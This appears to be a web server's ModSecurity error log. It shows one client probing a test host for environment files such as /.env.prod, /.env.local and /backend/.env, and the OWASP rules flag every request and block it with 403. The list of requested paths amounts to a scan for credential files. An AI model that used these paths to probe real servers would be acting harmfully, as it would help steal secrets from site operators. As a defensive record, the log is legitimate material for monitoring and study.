[Wed Nov 26 19:09:32.449952 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEAAAAAg"]
[Wed Nov 26 19:09:32.569907 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEQAAAAg"]
[Wed Nov 26 19:09:32.570255 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEQAAAAg"]
[Wed Nov 26 19:09:32.570553 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEQAAAAg"]
[Wed Nov 26 19:09:32.719484 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEgAAAAg"]
[Wed Nov 26 19:09:32.719720 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEgAAAAg"]
[Wed Nov 26 19:09:32.719903 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEgAAAAg"]
[Wed Nov 26 19:09:32.882974 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEwAAAAg"]
[Wed Nov 26 19:09:32.883213 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEwAAAAg"]
[Wed Nov 26 19:09:32.883402 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEwAAAAg"]
[Wed Nov 26 19:09:33.727593 2025] [:error] [pid 332764] [client 195.178.110.110:41798] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aSdCXb_di7oM_t3yyj5TDQAAAAE"]
[Wed Nov 26 19:09:33.727828 2025] [:error] [pid 332764] [client 195.178.110.110:41798] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aSdCXb_di7oM_t3yyj5TDQAAAAE"]
[Wed Nov 26 19:09:33.728013 2025] [:error] [pid 332764] [client 195.178.110.110:41798] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aSdCXb_di7oM_t3yyj5TDQAAAAE"]
[Wed Nov 26 19:09:37.615088 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aSdCYdg2L5I3j1bw0PolJAAAAAA"]
[Wed Nov 26 19:09:37.615326 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aSdCYdg2L5I3j1bw0PolJAAAAAA"]
[Wed Nov 26 19:09:37.615520 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aSdCYdg2L5I3j1bw0PolJAAAAAA"]
[Wed Nov 26 19:09:37.811464 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aSdCYdg2L5I3j1bw0PolJQAAAAA"]
[Wed Nov 26 19:09:37.811697 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aSdCYdg2L5I3j1bw0PolJQAAAAA"]
[Wed Nov 26 19:09:37.811899 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aSdCYdg2L5I3j1bw0PolJQAAAAA"]
[Wed Nov 26 19:09:38.121346 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSdCYtg2L5I3j1bw0PolJgAAAAA"]
[Wed Nov 26 19:09:38.121577 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSdCYtg2L5I3j1bw0PolJgAAAAA"]
[Wed Nov 26 19:09:38.121802 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aSdCYtg2L5I3j1bw0PolJgAAAAA"]
[Wed Nov 26 19:09:38.266484 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aSdCYtg2L5I3j1bw0PolJwAAAAA"]
[Wed Nov 26 19:09:38.266719 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aSdCYtg2L5I3j1bw0PolJwAAAAA"]
[Wed Nov 26 19:09:38.266913 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aSdCYtg2L5I3j1bw0PolJwAAAAA"]
[Wed Nov 26 19:09:38.438188 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aSdCYtg2L5I3j1bw0PolKAAAAAA"]
[Wed Nov 26 19:09:38.438473 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aSdCYtg2L5I3j1bw0PolKAAAAAA"]
[Wed Nov 26 19:09:38.438692 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aSdCYtg2L5I3j1bw0PolKAAAAAA"]
[Wed Nov 26 19:09:39.194920 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSdCY9g2L5I3j1bw0PolKgAAAAA"]
[Wed Nov 26 19:09:39.195067 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSdCY9g2L5I3j1bw0PolKgAAAAA"]
[Wed Nov 26 19:09:39.195328 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSdCY9g2L5I3j1bw0PolKgAAAAA"]
[Wed Nov 26 19:09:39.195576 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSdCY9g2L5I3j1bw0PolKgAAAAA"]
[Wed Nov 26 19:09:39.459374 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aSdCY9g2L5I3j1bw0PolKwAAAAA"]
[Wed Nov 26 19:09:39.459607 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aSdCY9g2L5I3j1bw0PolKwAAAAA"]
[Wed Nov 26 19:09:39.459805 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aSdCY9g2L5I3j1bw0PolKwAAAAA"]
[Wed Nov 26 19:09:39.621046 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aSdCY9g2L5I3j1bw0PolLQAAAAA"]
[Wed Nov 26 19:09:39.621277 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aSdCY9g2L5I3j1bw0PolLQAAAAA"]
[Wed Nov 26 19:09:39.621482 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aSdCY9g2L5I3j1bw0PolLQAAAAA"]
[Wed Nov 26 19:09:39.668740 2025] [:error] [pid 332763] [client 195.178.110.110:41804] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "aSdCY9g2L5I3j1bw0PolLgAAAAA"]
